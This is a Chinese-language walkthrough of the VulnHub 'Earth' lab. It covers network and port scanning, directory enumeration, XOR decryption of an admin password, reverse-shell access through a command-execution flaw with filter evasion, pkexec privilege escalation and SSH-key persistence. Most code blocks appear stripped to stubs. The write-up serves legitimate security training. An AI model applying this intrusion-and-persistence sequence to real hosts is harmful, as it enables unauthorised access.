靶机下载地址:https://www.vulnhub.com/entry/the-planets-earth,755/
教程链接地址:https://blog.csdn.net/valecalida/article/details/121316934
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 EARTH:桥接于 192.168.31.1 的网卡,ip 未知
- 通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
- 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 | shell |
- 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
-> 目标机器的 ip 地址: 192.168.31.67
# 端口扫描
sudo nmap -A -p 1-1024 192.168.31. 67 -oN /tmp/earth.txt
# 修改本地 Hosts
打开网站:http://192.168.31.67 https://192.168.31.67 发现两个网址都无法打开
注意到端口扫描的结果中, 443 中有如下说明:
Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
尝试修改本地 hosts 文件,将这两个域名解析指向 192.168.31.67
sudo echo ‘192.168.31.67 earth.local terratest.earth.local’ >> /etc/hosts

-> 更多信息暴露,有了更多的攻击面:
http://earth.local/
https://earth.local/
http://terratest.earth.local/
https://terratest.earth.local/
# 目录扫描
打开网站:http://earth.local/
对此网站进行目录扫描
dirsearch -u http://earth.local

# 弱口令测试
登录地址:http://earth.local/admin/login
# 其他网址测试
对其他三个网站进行目录扫描
dirsearch -u https://earth.local/

dirsearch -u http://terratest.earth.local/

dirsearch -u https://terratest.earth.local/

-> 发现目录:https://terratest.earth.local/robots.txt
对 https://terratest.earth.local/robots.txt 进行分析

-> 发现可疑地址:https://terratest.earth.local/testingnotes.txt

下一步攻击思路,首页打开的数字字母的排列组合是 xor 加密运算
https://terratest.earth.local/testdata.txt 为测试加密数据
管理用户中有管理员:terra
# Xor 加密破解
编写 python 脚本,以 testdata.txt 为密钥,并注意删除其后面的空行,对首页得到的三份数据进行解密
1 | cat > 1.py << EOF |
在线 16 进制数据转为字符串:http://www.ab173.com/convert/ox2str.php
-> 去掉重复值得到:earthclimatechangebad4humans
# 账户密码利用
- 已有凭据
现在已成功拥有账户:terra
密码:earthclimatechangebad4humans
尝试进行连接:ssh terra@192.168.31.67

-> 排除掉这是 ssh 的用户和密码
- 从之前得到的网址尝试登陆
https://earth.local/admin/login
- 登陆成功,发现 RCE 代码执行漏洞
# RCE 漏洞反弹 shell
- 从之前得到的网址尝试登陆
1 | 从最基础的反弹shell的命令尝试发现被过滤: |
1 | 采用以下几种方法尝试下马执行 |
- 得到一个标准的 shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z |

# Pkexec 权限提升
1 | 查看靶机上的pkexec是否存在s权限: |

1 | 获取标准 shell |

# 密钥对维权
提前准备好配对好的私钥和公钥,将公钥发到靶机
1 | scp parallels@192.168.31.135:~/.ssh/id_rsa.pub ~/.ssh/ |

1 | ll | grep id |

-> 免密成功,下次可直接登录